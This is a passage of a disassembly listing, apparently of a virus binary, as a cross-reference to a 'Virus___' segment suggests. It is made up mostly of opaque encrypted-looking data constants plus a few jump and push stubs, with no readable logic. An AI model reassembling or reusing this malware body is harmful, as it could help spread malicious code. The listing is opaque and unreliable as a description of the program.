		dd 0D326AE7Dh, 0BF37D0Eh, 153F59D6h, 0A9053AE7h, 0D40DF67Eh
		dd 0CAB94C6h, 8C8DA366h, 0AA86A166h, 0CA1FE660h, 9ECE7955h
		dd 0A36612A5h, 0A56F778Dh, 0A079FF64h, 11719B98h, 100F2716h
		dd 6201DA20h, 26199692h, 7013C82Eh, 8A759420h, 8F674F63h
		dd 0F4F2C998h, 30378DA3h, 0A3AD1FBDh, 388A8554h, 0F516A19Ah
		dd 909A8DA3h, 0CB96CC97h, 0AEC494AEh, 469B62ECh, 0BF3E3A54h
		dd 1AA867BAh, 6AE245C2h, 0DF105E83h, 13EF3B98h,	0CBE33BE6h
		dd 0BA1DDC54h, 0BE8CF6C1h, 58707A94h, 0F324D07Ah, 355F7934h
		dd 2DED15C8h, 0BC4EB914h, 6A959F88h, 728878B7h,	818676A9h
		dd 58A4AEECh, 6F988887h, 112985BAh, 431DC616h, 0B79BC9DFh
		dd 0E3F37BBFh, 0F005E78h, 0BC6Ch, 459E6800h, 12C72EA6h
		dd 0D801F771h, 67BA410Bh, 33EC0CC4h, 0F4BF6E90h, 4008DB04h
		dd 7C162B7h, 0D49C2FF2h, 0F854F728h, 0A7D2E5DEh, 0C45694C1h
		dd 98373FA8h, 0A36618BFh, 0C830988Dh, 0E2DDFF17h, 8DA365D3h
		dd 8075F57h, 993BEC18h,	8B7007EFh, 0ADC5D956h, 28E72072h
		dd 0B56CA474h, 14CD3649h, 7BB42FFCh, 0C59388A6h, 0F76DAC4Bh
		dd 0C768DF02h, 1Fh, 664C6EABh, 0FF78DA3h, 0ED6709DAh, 475FD00Dh
		dd 664B6A55h, 0A7CF8DA3h, 1B8960h, 6E190000h, 8DA3664Bh
		dd 0C7D50EF6h, 0BC73AE4Dh, 960621E6h, 89CE1F4Eh, 0D156B85Ch
		dd 18B60BF9h, 9, 1F69002h, 0D84F67D8h, 1C353FFEh, 10C53123h
		dd 9D4251Fh, 3CD51E16h,	34E91103h, 2CF109FBh, 27FA01F3h
		dd 598278E8h, 52876EE6h, 8957D3DDh, 4C781E7h, 83000000h
		dd 3C8704EFh, 1C895C24h, 4C846824h, 0C890000h, 0E3895324h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 53241C89h,	0B945E268h
		dd 0BD555B69h, 26756935h, 0F101C581h, 0EB31FB41h, 81DBF75Dh
		dd 2C5DB7C3h, 5BD9894Fh, 1CA768h, 24248900h, 4240483h
		dd 481515Bh, 0BD268C24h, 8438F2Dh, 268CBE56h, 73292DBDh
		dd 34FF5E08h, 0C4835B24h, 2434FF04h, 4C48359h, 0FD39F7E9h
		dd 69A28FFFh, 0FE69946Ch
; ---------------------------------------------------------------------------
		inc	edi


loc_56F531:				; CODE XREF: sub_56E721+7F5j
		mov	eax, 71E4338h
		add	eax, ebp


loc_56F538:				; CODE XREF: sub_56E721+7F0j
		mov	edx, ecx
		jmp	loc_56F6A1
; ---------------------------------------------------------------------------
		db 25h
		dd 0E70EC16Ch, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h
		dd 0BCECA4h, 52C55DD5h,	0A4D676D3h, 4100FC94h, 50C1AEC4h
		dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h
		dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh
		dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h
		dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch
		dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h,	0B0F3622Dh
		dd 2CAE29h, 340000h, 380000h, 2	dup(0)
		dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
		dd 65530000h, 63697672h, 61502065h, 32206B63h, 26h dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_56F6A1:				; CODE XREF: sub_56E721+E19j
		jmp	loc_5716CB
; ---------------------------------------------------------------------------
		push	71E477Ah
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E4869h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E490Eh
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E49C4h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E4A80h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E4B64h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E4C0Bh
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E4CCFh
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E5071h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E50E4h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E5248h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E5564h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E5904h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E5C6Eh
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E5E28h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E5ECBh
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E5F2Dh
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E5F8Ah
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E6111h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E6225h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		push	71E63F2h
		jmp	loc_542F20
; ---------------------------------------------------------------------------
		dd 7112C731h, 8DB0EF7h,	0C261BA40h, 9F2CED0Ah, 2BF825D5h
		dd 0BDBD0817h, 0FE09C360h, 29D0982Bh, 519D57F4h, 1701EFBCh
		dd 0C1AB892Ch, 69850994h, 2DE2373Fh, 0B36CCB33h, 8DA36624h
		dd 0D5768EA4h, 0BE4591C3h, 587828C5h, 1EC8EF34h, 22488DA4h
		dd 991413E5h, 27CA403Bh, 0A82094AFh, 0BF70885Dh, 0BF07C514h
		dd 1242D694h, 6D082DC6h, 46608Ch, 222C0000h, 0BA0807D4h
		dd 0C047258Dh, 8FB76A8Fh, 0CDC10519h, 0A3F109D2h, 0AF152EF8h
		dd 0A9668C94h, 0BF19D3E6h, 0BCD6C494h, 12A09FB0h, 0C70D4515h
		dd 8C6CF22Ch, 0D972FA94h, 0FB244C66h, 0F9ABA197h, 35FE027h
		dd 33000001h, 2DE2373Fh, 251AC733h, 110EC32Bh, 9002D71Fh
		dd 64DB00F6h, 50CF00ECh, 8F682A42h, 8DA36628h, 0A28582A8h
		dd 0A3621F7Bh, 235AA28Dh, 0AFED05D4h, 0F99459A5h, 1EDE716h
		dd 5052CDE5h, 336FBA41h, 0AC9BB3AEh, 0E63BC38Dh, 71028B4h
		dd 839B459Ch, 282FC984h, 1609D027h, 823A74BCh, 0A01B2866h
		dd 6B510A88h, 8E94AF3Ah, 63A47984h, 3F01A2C8h, 3CE7B538h
		dd 9BC38F55h, 8E291244h, 128DA9DFh, 0B41C2F18h,	599964Bh
		dd 55A5AFEDh, 0DFAE09F2h, 38328DA9h, 9740B2E0h,	8DA9E040h
		dd 2BFC08C0h, 8186DEF4h, 11CA2EA6h, 72FBECE5h, 7706195Eh
		dd 1D30h, 0C566BB45h, 9C2FE20Bh, 56F526D4h, 0E380599Eh
		dd 0BF4C9169h, 29D19C83h, 529D57F4h, 9564ECBFh,	0C531BB48h
		dd 0BB9D7310h, 0C1ACF5C0h, 0CDE17594h, 45E63B3Fh, 1DC03953h
		dd 73C22A2Ah, 0A3662D88h, 44934C8Dh, 0C48DA366h, 0C9E10DAEh
		dd 0C047143Ah, 72B46F2Dh, 9194AE6Ah, 8561742Fh,	0C5E194BEh
		dd 4CC3EB42h, 0BE853685h, 0D9732194h, 6E44FB2Eh, 0AAA9E9B9h
		dd 8A2D1678h, 0E94BE84h, 84983FE4h, 121894BEh, 86F10A15h
		dd 0B3BC8C6Dh, 9E000000h, 0B0E2373Fh, 0E862BC24h, 36F1C2BBh
		dd 0AC71897Bh, 0B8C8D073h, 73FB8DA3h, 0BB430DDEh, 48CFA966h
		dd 8E0CF7A5h, 4C94AE92h, 6AA57684h, 91630058h, 53851796h
		dd 201FC239h, 8ACA9592h, 2D9BC336h, 36B500FBh, 39358DAAh
		dd 65373F0Eh, 31D20FEBh, 5A9E43B7h, 5E72A47Fh, 41D8938Ch
		dd 5600001Ch, 1CD477ACh, 0E56F3CD1h, 0AF39CA17h, 7AF29148h
		dd 708E5DFEh, 0C516E2ADh, 8C45AE26h, 598475FFh,	0E13AC28Ah
		dd 0F3ACEE42h, 94C1ADE4h, 0E7DAD664h, 3D9843B5h, 0BD8DA366h
		dd 664B6AB1h, 752E8DA3h, 8DA36662h, 72FCCE6h, 37E81000h
		dd 0FF10DC94h, 373F022Ch, 61EB2DE2h, 0FBCB4499h, 0E738C44Ch
		dd 9066BF44h, 0DB841697h, 94AE69FDh, 0FDA0717Dh, 341752h
		dd 0CFCD60E7h, 43B99A14h, 80121850h, 7DAA7F86h,	0AC41C6B6h
		dd 9EAA35EEh, 42E513Ch,	0DF70FC96h, 67B8440Ch, 0E40A9253h
		dd 0CDAC63A2h, 1B9Ch, 7112C731h, 8DB0EF7h, 0C261BA40h
		dd 9F2CED0Ah, 2BF825D5h, 0BDBD0817h, 0FE09C360h, 29D0982Bh
		dd 519D57F4h, 1701EFBCh, 0C1AE892Ch, 69850994h,	0B740373Fh
		dd 83D54A62h, 72AD7089h, 0DBDB1820h, 0FA7800C1h, 31BCBB4Dh
		dd 616EB863h, 264C94AEh, 0FD1EDA74h, 94B77042h,	0C34492EFh
		dd 17DE682Ah, 0FD0DBAC2h, 225CA4D7h, 0EEC8B3E5h, 6C9BC9BEh
		dd 0C342D956h, 429AC21Ch, 9B4CE8D3h, 888FD454h,	0C2CCB7E5h
		dd 305C5F75h, 81BE6398h, 521A152Dh, 817A58D5h, 55585B3Eh
		dd 701AB8B2h, 7609F184h, 23D558Eh, 1CB98B0h, 0D91420F5h
		dd 2A96C83Eh, 1AE602F5h, 71FB0000h, 0B4410BD8h,	0EC0AC261h
		dd 27D49C2Fh, 5B9F29FAh, 52DDE586h, 9D2EF307h, 52F128D3h
		dd 0E1825F9Ah, 0B94A9F67h, 3F96414Bh, 0C394C1AFh, 373F3F33h
		dd 0A966BB40h, 0F9DC8715h, 798DA365h, 0B2DA556Dh, 0F61AE62Ah
		dd 4FF8B6C0h, 6133BABDh, 0AF2188B6h, 83204A94h,	0C740B4FAh
		dd 2D8B7426h, 0AD9BCA62h, 49B500FBh, 39358DA4h,	0D2BB3E1h
		dd 57E495FDh, 0C9BC69DEh, 193B8FC0h, 494BE265h,	56C2206Eh
		dd 0A7989231h, 0F9DB52D5h, 61A6BF1Eh, 993B3330h, 3FD21D37h
		dd 0FB75B200h, 290ECE73h, 0D1A8D7DEh, 22BAEAB9h, 1CCD8923h
		dd 0DF51D664h, 41B6C217h, 0B2C1D148h, 1A2A9A5Dh, 0B5BF0000h
		dd 0F805CF9Ch, 28CE8625h, 639850F3h, 9763EDBEh,	9699B94Ah
		dd 51F22FCBh, 16B56C97h, 0A5469B5Eh, 7D0EC32Bh,	0FBDA8597h
		dd 7F94C1AFh, 373FC3EFh, 6396B0E2h, 0FA2D81BEh,	33BABD3Fh
		dd 0E7153F61h, 7EA9053Ah, 0AE4355A7h, 73FB5594h, 58E586DEh
		dd 84292E16h, 9A8DCE16h, 62756457h, 2E8873A5h, 4D9BC98Eh
		dd 0A788FB71h, 0A8D09E1Ah, 37E9172h, 0B38ABD8Eh, 0E63EE319h
		dd 3E9942B4h, 238DA376h, 0A3765D78h, 22D1DD8Dh,	762E8972h
		dd 0B8B28DA3h, 86F6A760h, 764C6B54h, 0A6CC8DA3h, 0E181BE61h
		dd 3334BA64h, 53AEF18h,	580391A9h, 91F0EC56h, 13CC2CA4h
		dd 0B16E861Ch, 0ECD740C7h, 87FCEBC9h, 50A75D49h, 78237189h
		dd 8F07D565h, 51FBD9D5h, 19D370A5h, 5FC38EDh, 0F66136B9h
		dd 19465E19h, 915B0000h, 0D421AB78h, 0CEA6201h,	47B43CCFh
		dd 0FB7FC99Ah, 0B27D8526h, 3DCE13E7h, 0F29148B3h, 8122FF7Ah
		dd 59EA3FC7h, 0DFF6A1EBh, 6394C1B0h, 0DFE7DFD3h, 0A65315F9h
		dd 0B057337Bh, 54A09097h, 6BEC8C83h, 59E7D0C2h,	0D994AF07h
		dd 38853ECDh, 0D6C469EEh, 0CA0BCBEDh, 57A4AE9Bh, 0E39958Ah
		dd 0EB65373Fh, 4052CD0Ch, 44DD9838h, 30F73FF9h,	845AA09Bh
		dd 16111FDBh, 545A0597h, 0A628764Dh, 8CAA0DF6h,	42E2276h
		dd 0BEB933ECh, 2BB26D2Fh, 0AF298176h, 0F37B1587h, 3BC38D5Eh
		dd 5A39D2E6h, 55CACAB1h, 189FA2h, 11CA3400h, 0DE73FA72h
		dd 64B5430Dh, 33EE0DC7h, 0FF20D890h, 400B122Ch,	0CC467B8h
		dd 0D39D2EE3h, 0A028FB26h, 0CE08354h, 0B186510Ah, 780A94C1h
		dd 0E2373F74h, 0B46D96B0h, 4B0B3B7Bh, 0E56FEDDBh, 0DD9F5ACDh
		dd 9FC1D35Ah, 0A36C11A4h, 0DF95918Dh, 7549C61Bh, 0EA19AB2h
		dd 0E294A928h, 0B440CAC8h, 0E59C063h, 0D394C1A7h, 52FCDE53h
		dd 96B176ABh, 0B962D406h, 94C1A81Eh, 348388A2h,	0B494C1A8h
		dd 7F8789BEh, 303719AAh, 17C71FBDh, 0E0A78775h,	0FE820E7h
		dd 9BC7D6A0h, 16785A50h, 0E25DFE7Ch, 10DD57D0h,	5FA62EFDh
		dd 0A1CC088Ah, 217C0FEDh, 0A075807Ah, 4CB8A867h, 0C5B85F9Bh
		dd 0CA455E78h, 17DB23h,	0CD06F000h, 9A4FB63Eh, 20F97FC9h
		dd 0EF32C983h, 0BB64945Ch, 7C47D6E8h, 0C88023FCh, 8F59EA3Fh
		dd 5C14B76Ah, 40AC7F90h, 0B24A6D56h, 3CCE94C1h,	2DC04730h
		dd 2219B46Fh, 0CDD994A9h, 64B945CFh, 7CF175C7h,	18C5345Eh
		dd 40988F27h, 0C1AA5497h, 0C9A93594h, 170FD5B3h, 70B87A9Bh
		dd 2E667248h, 0EB244EF9h, 5EF15A1h, 44EE8EFBh, 0ACBA00C3h
		dd 77A394C1h, 633AF51Fh, 40758C6Ah, 59000000h, 682ABF47h
		dd 0E7C9F96Ch, 34F320B3h, 1EA83BE4h, 0B8108DA4h, 9A59A4Fh
		dd 44973EF1h, 578DA41Fh, 0AE4993C3h, 0E19387F0h, 13h, 664C6ED5h
		dd 888F8DA3h, 56CCB7E5h, 8494AE5Dh, 0E7B5DD6Eh,	0BEE816Dh
		dd 2D4559D6h, 0CD2AA0F2h, 0E6611B0Ch, 7C6A5547h, 0FE94AE43h
		dd 8D02D58Eh, 6C8694BEh, 9D69DB54h, 0C531BB48h,	0D5251F10h
		dd 79808A08h, 0EC5B6BA4h, 9DF53921h, 0A6459E66h, 8F0DC62Eh
		dd 68A77A85h, 14D125Ah,	7AB47C57h, 0F17606CDh, 0BAEC5E7Ch
		dd 0BEAAF6C1h, 0B7707A94h, 0C9B25EECh, 0C4D6DC9Bh, 379569F8h
		dd 34F39DB3h, 7E935B15h, 0E2DA1EC1h, 0FF3335D0h, 0B0388497h
		dd 0AAD968Fh
		dd 8E05D9F4h, 0DF2A5C64h, 6C4B3466h, 0EC05DA60h, 27CF41C6h
		dd 2F14A0F2h, 0B0A0B5CAh, 5A4AED5Ah, 2B36C182h,	34F304F3h
		dd 201F303Ch, 4BB4CB30h, 0ED059996h, 0A0AA1832h, 3B8B8459h
		dd 3FFA5A0Ch, 8741E237h, 8375AA7Fh, 0F0ABE984h,	0CE4A922h
		dd 0EFB15258h, 45904BBDh, 0C50CD0A9h, 0A95362A9h, 0DFD70CD0h
		dd 0B11CE868h, 0D0A8EFC6h, 337B730Ch, 0B308DCA2h, 5ED1E9BEh
		dd 94BE1DE6h, 2F87B865h, 0D0BCD1E4h, 2D55510Ch,	44602776h
		dd 0F72840D3h, 0B46FA76Bh, 0A332ED48h, 270CD0E3h, 9C54F70Fh
		dd 0E880BF50h, 6D9E5C6Fh, 0B567377Bh, 0ADD5ED7Ch, 4FD556C9h
		dd 61334BFBh, 51CE13E7h, 0A992CA7Dh, 13DBBE03h,	0B43CCFE7h
		dd 0F9989748h, 15D9C1E2h, 0A45FB75Bh, 6CE48758h, 65DF508Dh
		dd 11D74895h, 0BA021141h, 0C92FB885h, 469B6361h, 6ADDF5C9h
		dd 84700FEAh, 7A674E29h, 0C3EBF5D9h, 78F093ABh,	0B079FE81h
		dd 9A824D56h, 0AAC21A63h, 0B7D2ECE8h, 45904BDEh, 0DE1D17C2h
		dd 0EB379E79h, 11BBF5D9h, 0C61E36EBh, 0C50DC149h, 62BFBCD6h
		dd 934EABA5h, 50A6A0F0h, 539C948Bh, 0AFA166BEh,	0D098974Ah
		dd 5BA2AC57h, 0EB3A9D86h, 0B4BEF5D9h, 2DE2373Eh, 0E95B7991h
		dd 0EAF9DC87h, 6D79F5D9h, 0C7FDEBBAh, 717DFCE4h, 962E9CBEh
		dd 0C6D39EC9h, 92C6EC32h, 17C29DD2h, 3E9648FFh,	0E6D17683h
		dd 0FCD154CFh, 0E4135B53h, 0C829F27Eh, 0E8B84B63h, 0DAFADD86h
		dd 747EFCD0h, 60B541B3h, 9449B5AFh, 33EC0C06h, 0D78B39F4h
		dd 0C5B8447Fh, 3ECDE538h, 5B318CA7h, 2D0324h, 3FF70000h
		dd 4028E73Ah, 27426C7h,	0A3657E59h, 3FE8028Dh, 639832EDh
		dd 585294AEh, 25B88Bh, 8C480000h, 9A078FD9h, 9F5A1040h
		dd 3FEDC542h, 4028E73Ah, 0F2A236C7h, 501B98F2h,	3A19A38h
		dd 0F794AF51h, 0C022CFFh, 37E067AFh, 0A366694Ch, 0A5FDE98Dh
		dd 429F5DF7h, 0E636F1CDh, 0AE699B3Dh, 85171F94h, 0A8E7D039h
		dd 0F8628A5Fh, 0A677B082h, 7209D8FFh, 8F1E19C8h, 4BB1DB0Dh
		dd 0C0CE9196h, 328856C7h, 86B9529Ah, 511B142Ch,	9A4557D6h
		dd 8961F143h, 731DBFB7h, 0D506F48Bh, 9330485Ah,	0BCF82DD9h
		dd 6AD0DD63h, 39FC7F90h, 4E000014h, 14DC6FA4h, 0DD9734E9h
		dd 0A721C21Fh, 72FA8950h, 88B65586h, 0FD1EDAA5h, 845DA62Eh
		dd 518C6DE7h, 19323AB2h, 0CBB4E64Ah, 94C1B5ECh,	6ED2DE6Ch
		dd 8DA36547h, 0A19A8D8Ah, 8DA36716h, 5A78909Ah,	0AE6E2B61h
		dd 35678F94h, 0AA13DE1Bh, 0A67B8218h, 462D5569h, 9B28403Ch
		dd 3AF528D1h, 588D7812h, 0D858CFE7h, 6CBFFB2Ch,	99575DD9h
		dd 13C6F786h, 11DB0000h, 54A12BF8h, 8C6AE281h, 0C734BC4Fh
		dd 7BFF491Ah, 32FD05A6h, 0BD4E9367h, 7211C833h,	1A27FFAh
		dd 0D96ABF47h, 5F76216Bh, 0E394C1B6h, 0C0475F53h, 7DB2678Fh
		dd 818B0921h, 576FA075h, 0CDDFB8D0h, 2D94AE6Ch,	958A57A3h
		dd 65B44339h, 37C54F4Dh, 61EB3DEAh, 2AA24194h, 308C0EC3h
		dd 0AE43E195h, 7423E467h, 60DF70FCh, 0DB167E2Ah, 7C2CFF12h
		dd 0D59DCF60h, 8970D4D8h, 0B3CBDB54h, 8977CF74h, 1438198Ch
		dd 58FB34E9h, 94BEA382h, 3F184ABAh, 94BEA298h, 45151218h
		dd 0FA2FD60Dh, 83569F29h, 34C24C8Ch, 6035DFE7h,	1592D9BDh
		dd 50DD5A12h, 69169942h, 909A9BC4h, 2EF30802h, 0D9FCA7F1h
		dd 598DA868h, 0DAF2354Dh, 0F09344B0h, 795B8C78h, 68892C17h
		dd 0C8308DA8h, 0E98A1817h, 2BFE07FDh, 0A269DEF4h, 0F2A04DCAh
		dd 863456EAh, 0C344978Ch, 83F52789h, 0A943FDD8h, 0AA717D8Dh
		dd 8DA9440Bh, 4D7E6704h, 0F6859E49h, 9A984BFCh,	8194AE3Ah
		dd 0FD097E87h, 87DFF728h, 3A0D3A88h, 16306230h,	0AE043BE0h
		dd 0DA0FF779h, 0C0B7BF09h, 9529E63Bh, 2D2AC27Dh, 0A6A01280h
		dd 3D918E53h, 0B0CD5B0Ah, 9ACC9BC9h, 0C1684F28h, 0C2E88DA3h
		dd 0A3C07E59h, 3FE8028Dh, 61D2E60Ch, 925E791Bh,	1262FA7Dh
		dd 8D770000h, 303DB754h, 70864E1Dh, 0AB5018ABh,	0DF1BD576h
		dd 0CE516102h, 19AA7783h, 0DE6DA44Fh, 6D3EE316h, 25C61BE3h
		dd 0C312CDCFh, 4794C1B7h, 506EBBB7h, 238DA366h,	691ED329h
		dd 81453368h, 18AA65BDh, 9D4252Fh, 428D8A7Ah, 4F4D65B6h
		dd 9C635677h, 1A7EC972h, 4B92DA95h, 8AC2451Bh, 0A9FC6BD1h
		dd 55476F94h, 4F1C3D3Bh, 0B2152E23h, 0E56F9308h, 7E54CB16h
		dd 17068C9h, 474A0000h,	0E7132FC2h, 0A3659E3Ch,	0CE2008Dh
		dd 0BD02619h, 0DFAEFE3h, 0FD152DE0h, 23B26DDFh,	0A78DA385h
		dd 0E7FF678Fh, 3A977CAFh, 0CBE7A50Dh, 932B3A61h, 37BFF82Fh
		dd 0E6B07783h, 102CC147h, 0BE47132Fh, 14DF692Bh, 28F107FDh
		dd 4E68DFF7h
dword_57047C	dd 52E5664h, 889488B2h,	5Bh, 8F6DE76Ah,	0C0BBDD52h, 8DA365F5h
					; DATA XREF: Virus___:005596C3o
		dd 0E6217975h, 3CE71216h, 8DA36599h, 0C0E50D19h, 77FBEA24h
		dd 0E7419DB5h, 0BD5C9BB5h, 6601DB8Ah, 0EE988DA3h, 0E255D207h
		dd 3B32ADD8h, 0C41CF8E6h, 826DE7A8h, 45C2D04Fh,	393FDF13h
		dd 0DFE7CCE0h, 7D3529ADh, 490E3960h, 1B466Dh, 47280000h
		dd 0E7102CC1h, 0A3659E3Ch, 0DEF2008Dh, 508D6DE7h, 3F2D85D7h
		dd 70CCE039h, 0B2052E22h, 4E889488h, 14000000h,	1159F27Ah
		dd 0F4F8D1EEh, 5B77B06Ah, 172BBE47h, 5D9BB5E7h,	0F43383BCh
		dd 0A3658F2Dh, 6ED2EA8Dh, 89CB7E73h, 792B0205h,	0A3B6379Eh
		dd 39B3BB8Dh, 8D211EC3h, 0E89F2775h, 2A2EB641h,	0E711B96Eh
		dd 0E3363FCBh, 462270CFh, 44h, 2BBE4728h, 9BB5E717h, 4A82BD5Ch
		dd 0A3664691h, 88A0CA8Dh, 65F6C49Fh, 5A688DA3h,	8A2D1678h
		dd 378DA365h, 515D1EC3h, 0CBE7F8D6h, 0F8F3363Fh, 0E1F5A6D9h
		dd 1830ED0Dh, 0FDF6C1BAh, 707A8DA3h, 22700458h,	0FFFE8046h
		dd 0C04728FFh, 15E56F2Dh, 520D5FC8h, 94A9217Bh,	2B25777Fh
		dd 828C0EC3h, 0DB62A576h, 19BC67C9h, 9994C1AAh,	64E29A8Dh
		dd 6EF806Dh, 2E84BBD3h,	6D8A8416h, 76217BACh, 94C1AA5Fh
		dd 8D54CBE3h, 94C1AA28h, 61ABEB3Fh, 8C6A65C6h, 36C9h, 4B6EAD00h
		dd 0F68DA366h, 0EF36D50Eh, 8DA365CDh, 30620B0Ch, 0A9E103A4h
		dd 8CC24FD8h, 513C447Eh, 40988F0Dh, 5788741Eh, 0BA1B31D0h
		dd 0D7DF94AEh, 0DCC534h, 47AD0000h, 4C003DC0h, 167BD6AAh
		dd 0E9E3DCFEh, 4194AE51h, 1CDD7725h, 4FAA22C1h,	0CF9FE582h
		dd 0B6CE7210h, 0F578FF79h, 580375A7h, 94BEEA7Dh, 6F36F1FDh
		dd 9BC4A628h, 993CE749h, 0F88DA925h, 0A925B81Fh, 8132388Dh
		dd 638BA265h, 3FE21731h, 0B8E7419Dh, 1D25F801h,	8EB9253Dh
		dd 73D425AFh, 0A8FF2D88h, 0BA67948Dh, 9AC97F9h,	898DA8FFh
		dd 0F22D459Dh, 2270FD7Ah, 2D58EF0h, 868DA8FFh, 26C7446Ch
		dd 4BB24F2Dh, 6DEE05DCh, 420A94AEh, 2A426AB7h, 0D1647AB7h
		dd 3C56449Ch, 844C1F30h, 0AC93A778h, 59575E28h,	0F4637C6h
		dd 915B0000h, 0D421AB78h, 0CEA6201h, 47B43CCFh,	0FB7FC99Ah
		dd 0B27D8526h, 3DCE13E7h, 0F29148B3h, 8122FF7Ah, 59EA3FC7h
		dd 0DFF6A1EBh, 6394C1BAh, 373FDFD3h, 0D3EB2DE2h, 9C80501Ah
		dd 252F1874h, 0FC9604D9h, 0A964A37Ch, 34EF27FBh, 538517C8h
		dd 0A44F4D68h, 66A1CD8Dh, 0C0E31CC7h, 5CAA9387h, 0F2000000h
		dd 52655E80h, 0D68DA447h, 476077DCh, 0CAE08DA4h, 0C047755Dh
		dd 0FAB46F2Dh, 0F894AE47h, 0C31B3DF2h, 485E5C50h, 29128097h
		dd 94BF408Eh, 252F1812h, 0ED6704D9h, 9953CC01h,	5B8D0F9Eh
		dd 1B14C931h, 7C59C8Bh,	639BCA17h, 0ECE8B84Bh, 0DE7F9D71h
		dd 0DDEC14BFh, 0FB3F0BE4h, 3F2E88BFh, 8840E336h, 2577A87Dh
		dd 65AD08F3h, 12D8DA3h,	66835F06h, 2BCE8DA3h, 5C74A954h
		dd 33BABD8Fh, 2685B661h, 5D4994A9h, 0B56A677Fh,	46A98A70h
		dd 7FFD97C1h, 0F59F01A2h, 4F67D805h, 152EFED8h,	6F9308B2h
		dd 12C815E5h, 0A7FF30E9h, 17BDF60h, 0E7B30000h,	0D6518C6Dh
		dd 469E2326h, 63389633h, 0E74498B0h, 0A3659E3Ch, 0A853FD8Dh
		dd 0A59EBE71h, 8DA36612h, 0C3449C96h, 0E7025E74h, 0BD5C9BB5h
		dd 0C84F2082h, 0C259255h, 616733F4h, 0D6212B3Ah, 6B8356A1h
		dd 97641EB4h, 47F5DD4Ah, 2F102CC1h, 2BBE4713h, 0C217DF69h
		dd 28646D45h, 0D02D71Eh, 0E75876B1h, 0DF508D6Dh, 602C7AD7h
		dd 7A927A56h, 0EE8952CDh, 5C049487h, 88000000h,	2A5A7D26h
		dd 435590A4h, 0FC06AF91h, 0A955FFBCh, 0D3EBBB74h, 0C1477A54h
		dd 6DE7102Ch, 1DF25D80h, 0D6CD1AFCh, 0FA2D81BEh, 72E3F9A2h
		dd 4F678DA3h, 95201B4Dh, 2C8DA372h, 3B6D0EC3h, 0A3737540h
		dd 0A1F9F58Dh, 0CBE74866h, 0CCE0393Fh, 0C5325C70h, 9C8B1B14h
		dd 234632h, 47280000h, 0E7102CC1h, 0A3659E3Ch, 0DEF2008Dh
		dd 393FCBE7h, 6198B2E0h, 65BA1DC6h, 343E8DA3h, 708F2B1Ch
		dd 0B2052E22h, 32889488h, 6A000000h, 528F6DE7h,	0B646C1DDh
		dd 0E7E63AAFh, 0D5528F6Dh, 6602D883h, 72788DA3h, 3FCBE75Eh
		dd 70CFE336h, 0CAB5E722h, 8DA365EBh, 29C0476Fh,	3Ch, 2BBE47B9h
		dd 9E3CE717h, 8DA365h, 5F77A850h, 85500B7Dh, 58DA365h
		dd 0E7903EE9h, 0BD5C9BB5h, 0B5E72C8Ah, 0A365EBCAh, 0C0476F8Dh
		dd 5C70A550h, 0EBCAB5E7h, 6F8DA365h, 0B31FC047h, 4C816DE7h
		dd 0B544C3D3h, 0FFFFFE72h, 2DC0473Dh, 2219B46Fh, 0CDD994A9h
		dd 7FEEF7CFh, 562F9AB4h, 618D87D1h, 0FE31EA0Eh,	0DC0E8CA4h
		dd 1C29B00h, 2CF79DFBh,	94C1E189h, 0E1A80FE8h, 22894C1h
		dd 0F821D771h, 0AE09F2A0h, 3294C1E1h, 0DC2C0F38h, 1CC7D55Ah
		dd 94C1E1B9h, 8C45AED8h, 35040393h, 0BCD60639h,	11AD62BFh
		dd 0E2664F16h, 2AD394C1h, 0E203D28Dh, 6F8794C1h, 9368D857h
		dd 7F13D14Eh, 0FA2E7E17h, 2DB54E9Ah, 26F88C6Ah,	0DA000000h
		dd 0A3664B6Eh, 770EF68Dh, 0B6E65980h, 0A365EACDh, 2C446E8Dh
		dd 99257714h, 81834917h, 3FCE79BBh, 9Eh, 2DC047B3h, 47B2B46Fh
		dd 5D194AEh, 61F7BD3h, 0F04BFCFFh, 0C778AD58h, 4BC5D7EFh
		dd 5225D1AEh, 0EAB877A4h, 29415DD2h, 0C114E16Bh, 68B3744Eh
		dd 4BC419E0h, 9507A6A1h, 63DC7DFBh, 0DB84D453h,	9BC49CE8h
		dd 8EB81A10h, 5B15B66Bh, 2CCC439Eh, 2710822Bh, 94AE65CCh
		dd 0FA94062Ch, 420AD972h, 0F45561BAh, 1575DF9h,	0BA66F0Eh
		dd 313B0000h, 74814B18h, 0AC4A02A1h, 0E714DC6Fh, 1BDF693Ah
		dd 121D25C6h, 0DD6EB347h, 9231E813h, 21C21FDAh,	0F98A5FA7h
		dd 7F56010Bh, 394C1BEh,	373F7F73h, 0B124B0E2h, 95B53FB6h
		dd 1048D6FDh, 0CC35D0E8h, 58A49C5Bh, 4D48887h, 34E915CCh
